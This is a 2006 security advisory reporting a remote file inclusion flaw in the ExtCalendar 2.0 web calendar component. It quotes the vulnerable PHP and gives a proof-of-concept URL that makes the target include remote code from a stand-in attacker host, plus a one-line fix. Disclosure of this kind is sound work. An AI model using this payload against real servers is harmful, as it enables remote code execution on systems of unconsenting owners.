ECHO.OR.ID
ECHO_ADV_36$2006
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[ECHO_ADV_36$2006] ExtCalendar <== v2.0 Remote File Include Vulnerabilities
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Author : Ahmad Maulana a.k.a Matdhule
Date : July 07th 2006
Location : Indonesia, Jakarta
Web : http://advisories.echo.or.id/adv/adv36-matdhule-2006.txt
Critical Lvl : Highly critical
Impact : System access
Where : From Remote
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Affected software description:
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ExtCalendar
Application : ExtCalendar
version : 2.0
URL : http://extcal.sourceforge.net/
Description :
ExtCalendar is a powerful multi-user web-based calendar application.
Features include Multi-Languages, Themes, Recurrent Events, Categories,
Users and Groups management, Environment and General Settings, Template Configuration, Product Updates.
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Vulnerability:
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in folder com_extcalendar we found vulnerability script extcalendar.php.
-----------------------extcalendar.php----------------------
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<?php
global $mosConfig_absolute_path;
require_once( $mosConfig_absolute_path."/components/com_extcalendar/config.inc.php" );
require_once( $CONFIG_EXT['LIB_DIR']."mail.inc.php" );
?>
...
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Variables $mosConfig_absolute_path are not properly sanitized. When register_globals=on
and allow_fopenurl=on an attacker can exploit this vulnerability with a
simple php injection script.
Proof Of Concept:
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http://[target]/[path]/components/com_extcalendar/extcalendar.php?mosCon
fig_absolute_path=http://attacker.com/evil.txt?
Solution:
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sanitize variabel $mosConfig_absolute_path in extcalendar.php
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Shoutz:
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~ solpot a.k.a chris, J4mbi H4ck3r for the hacking lesson :)
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous
~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama
~ newbie_hacker (at) yahoogroups (dot) com [email concealed], jasakom_perjuangan (at) yahoogroups (dot) com [email concealed]
~ #mardongan #jambihackerlink #e-c-h-o @irc.dal.net
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Contact:
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matdhule[at]gmail[dot]com
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